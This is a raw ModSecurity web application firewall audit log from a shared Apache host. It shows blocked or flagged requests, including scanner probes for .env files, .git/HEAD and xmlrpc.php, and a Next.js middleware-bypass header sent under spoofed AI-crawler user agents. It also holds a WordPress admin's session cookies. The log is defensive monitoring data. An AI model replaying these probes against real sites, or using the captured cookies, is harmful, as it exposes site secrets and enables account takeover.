Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789304431101125 573397 (- - -)
Stopwatch2: 1789304431101125 573397; combined=5659, p1=286, p2=5034, p3=0, p4=0, p5=193, sr=218, sw=146, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
WebApp-Info: "default" "98ee36b231f2fb45b3e687cbf04c847e" "-"
Engine-Mode: "ENABLED"

--c96fe755-Z--

--e89e904a-A--
[13/Sep/2026:16:02:05.374009 +0300] aqaezGM7dE9KgIIOpQh-cAAAANg 62.74.18.173 56552 127.0.0.1 7081
--e89e904a-B--
GET /wp-json/wp/v2/users/me?context=edit&_locale=user HTTP/1.1
Host: chania24.taxi
X-Real-IP: 62.74.18.173
Cookie: wfwaf-authcookie-2730fdb7165a500052ab2f71fca8bd50=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C61d52a60d4c8f0dc93c158654dfd535da166e517b1c4de7584b736abab0dd3c5; tk_ai=woo%3A6U8Jr%2Fb8Fq7mZoDTPFbFvvz1; wordpress_logged_in_98ee36b231f2fb45b3e687cbf04c847e=chania24%7C1789402667%7C4w8eXEqMQIPhk44gn7Pn2ljeUtVJmqUXeKOU2uHuidO%7C0dc0cca43e29e31503849755bd897a4f9a8cdb4dac2a120a1f54b342d4f3e7de; wordpress_test_cookie=WP%20Cookie%20check; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist%26mfold%3Do; wp-settings-time-1=1788098856
X-WP-Nonce: 77ebd02b11
Accept: application/json, */*;q=0.1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.8 Mobile/15E148 Safari/604.1
Accept-Language: el-GR,el;q=0.9
Referer: https://chania24.taxi/wp-admin/post.php?post=20674&action=edit
Accept-Encoding: gzip, deflate, br

--e89e904a-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link: <https://chania24.taxi/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
X-WP-Nonce: 77ebd02b11
Allow: GET, POST, PUT, PATCH, DELETE
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8

--e89e904a-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789304524804414 569695 (- - -)
Stopwatch2: 1789304524804414 569695; combined=5435, p1=333, p2=4789, p3=0, p4=0, p5=179, sr=193, sw=134, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
WebApp-Info: "default" "98ee36b231f2fb45b3e687cbf04c847e" "-"
Engine-Mode: "ENABLED"

--e89e904a-Z--

--d5a8b745-A--
[13/Sep/2026:16:02:21.344576 +0300] aqae3GM7dE9KgIIOpQh-dQAAAMc 62.74.18.173 54018 127.0.0.1 7081
--d5a8b745-B--
GET /wp-json/wp/v2/users/me?context=edit&_locale=user HTTP/1.1
Host: chania24.taxi
X-Real-IP: 62.74.18.173
Cookie: wfwaf-authcookie-2730fdb7165a500052ab2f71fca8bd50=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C61d52a60d4c8f0dc93c158654dfd535da166e517b1c4de7584b736abab0dd3c5; tk_ai=woo%3A6U8Jr%2Fb8Fq7mZoDTPFbFvvz1; wordpress_logged_in_98ee36b231f2fb45b3e687cbf04c847e=chania24%7C1789402667%7C4w8eXEqMQIPhk44gn7Pn2ljeUtVJmqUXeKOU2uHuidO%7C0dc0cca43e29e31503849755bd897a4f9a8cdb4dac2a120a1f54b342d4f3e7de; wordpress_test_cookie=WP%20Cookie%20check; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist%26mfold%3Do; wp-settings-time-1=1788098856
X-WP-Nonce: 77ebd02b11
Accept: application/json, */*;q=0.1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.8 Mobile/15E148 Safari/604.1
Accept-Language: el-GR,el;q=0.9
Referer: https://chania24.taxi/wp-admin/post.php?post=20674&action=edit&classic-editor
Accept-Encoding: gzip, deflate, br

--d5a8b745-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link: <https://chania24.taxi/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
X-WP-Nonce: 77ebd02b11
Allow: GET, POST, PUT, PATCH, DELETE
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8

--d5a8b745-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789304540820925 523856 (- - -)
Stopwatch2: 1789304540820925 523856; combined=5537, p1=286, p2=4967, p3=0, p4=0, p5=164, sr=179, sw=120, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
WebApp-Info: "default" "98ee36b231f2fb45b3e687cbf04c847e" "-"
Engine-Mode: "ENABLED"

--d5a8b745-Z--

--530d0363-A--
[13/Sep/2026:16:06:51.970050 +0300] aqaf62M7dE9KgIIOpQh-lgAAAMI 34.75.195.240 51244 127.0.0.1 7081
--530d0363-B--
GET //xmlrpc.php?rsd HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.75.195.240
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

--530d0363-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--530d0363-H--
Message: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/xmlrpc.php"] [unique_id "aqaf62M7dE9KgIIOpQh-lgAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/xmlrpc.php"] [unique_id "aqaf62M7dE9KgIIOpQh-lgAAAMI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789304811902018 68082 (- - -)
Stopwatch2: 1789304811902018 68082; combined=4755, p1=898, p2=3789, p3=0, p4=0, p5=68, sr=106, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--530d0363-Z--

--0086083b-A--
[13/Sep/2026:16:17:02.466011 +0300] aqaiTkwu1RSkptiiNIX@FQAAAJc 207.175.1.230 51932 127.0.0.1 7081
--0086083b-B--
GET //xmlrpc.php?rsd HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 207.175.1.230
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

--0086083b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0086083b-E--

--0086083b-H--
Message: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/xmlrpc.php"] [unique_id "aqaiTkwu1RSkptiiNIX@FQAAAJc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/xmlrpc.php"] [unique_id "aqaiTkwu1RSkptiiNIX@FQAAAJc"]
Apache-Error: [file "mod_proxy_fcgi.c"] [line 902] [level 3] AH01071: Got error 'Primary script unknown'
Apache-Handler: proxy:unix:/var/www/vhosts/system/breveleyendatequila.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305422411131 54947 (- - -)
Stopwatch2: 1789305422411131 54947; combined=11177, p1=501, p2=10444, p3=133, p4=15, p5=84, sr=144, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0086083b-Z--

--907a7a7e-A--
[13/Sep/2026:16:26:11.061090 +0300] aqakcjTJ6xTvcJoem7f94gAAAFY 34.73.17.152 54954 127.0.0.1 7081
--907a7a7e-B--
POST /graphql HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
Origin: https://alexandervodka.com
Referer: https://alexandervodka.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"

--907a7a7e-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--907a7a7e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305970991857 69310 (- - -)
Stopwatch2: 1789305970991857 69310; combined=5923, p1=304, p2=5298, p3=0, p4=0, p5=321, sr=140, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--907a7a7e-Z--

--7cee4b0d-A--
[13/Sep/2026:16:26:11.128156 +0300] aqakcmM7dE9KgIIOpQiAZQAAAM8 34.73.17.152 54916 127.0.0.1 7081
--7cee4b0d-B--
GET /api/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--7cee4b0d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--7cee4b0d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/api/.env"] [unique_id "aqakcmM7dE9KgIIOpQiAZQAAAM8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305970946848 181366 (- - -)
Stopwatch2: 1789305970946848 181366; combined=6808, p1=235, p2=6516, p3=0, p4=0, p5=56, sr=98, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7cee4b0d-Z--

--a06cae75-A--
[13/Sep/2026:16:26:11.194097 +0300] aqakc2M7dE9KgIIOpQiAaAAAANc 34.73.17.152 54974 127.0.0.1 7081
--a06cae75-B--
GET /.env.local HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--a06cae75-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a06cae75-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqakc2M7dE9KgIIOpQiAaAAAANc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqakc2M7dE9KgIIOpQiAaAAAANc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305971091317 102893 (- - -)
Stopwatch2: 1789305971091317 102893; combined=34984, p1=292, p2=34607, p3=0, p4=0, p5=83, sr=100, sw=2, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a06cae75-Z--

--5bdfe957-A--
[13/Sep/2026:16:26:11.214546 +0300] aqakc2M7dE9KgIIOpQiAaQAAANE 34.73.17.152 54976 127.0.0.1 7081
--5bdfe957-B--
GET /admin/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--5bdfe957-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--5bdfe957-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/admin/.env"] [unique_id "aqakc2M7dE9KgIIOpQiAaQAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305971137788 76871 (- - -)
Stopwatch2: 1789305971137788 76871; combined=5509, p1=273, p2=5162, p3=0, p4=0, p5=73, sr=105, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5bdfe957-Z--

--94f8361f-A--
[13/Sep/2026:16:26:11.271692 +0300] aqakc0wu1RSkptiiNIX@MgAAAJE 34.73.17.152 54978 127.0.0.1 7081
--94f8361f-B--
POST /api/graphql HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
Origin: https://alexandervodka.com
Referer: https://alexandervodka.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"

--94f8361f-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--94f8361f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305971203859 67909 (- - -)
Stopwatch2: 1789305971203859 67909; combined=5774, p1=355, p2=5075, p3=0, p4=0, p5=344, sr=171, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--94f8361f-Z--

--7efa7f41-A--
[13/Sep/2026:16:26:11.319750 +0300] aqakc2M7dE9KgIIOpQiAagAAANY 34.73.17.152 54984 127.0.0.1 7081
--7efa7f41-B--
GET /backend/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--7efa7f41-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--7efa7f41-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/backend/.env"] [unique_id "aqakc2M7dE9KgIIOpQiAagAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305971226491 93317 (- - -)
Stopwatch2: 1789305971226491 93317; combined=11747, p1=362, p2=11320, p3=0, p4=0, p5=65, sr=138, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7efa7f41-Z--

--b20a2f58-A--
[13/Sep/2026:16:26:11.569260 +0300] aqakc0wu1RSkptiiNIX@NAAAAIA 34.73.17.152 55054 127.0.0.1 7081
--b20a2f58-B--
GET /.git/HEAD HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--b20a2f58-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b20a2f58-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/HEAD"] [unique_id "aqakc0wu1RSkptiiNIX@NAAAAIA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305971486427 82903 (- - -)
Stopwatch2: 1789305971486427 82903; combined=5220, p1=294, p2=4868, p3=0, p4=0, p5=58, sr=139, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b20a2f58-Z--

--07cfee23-A--
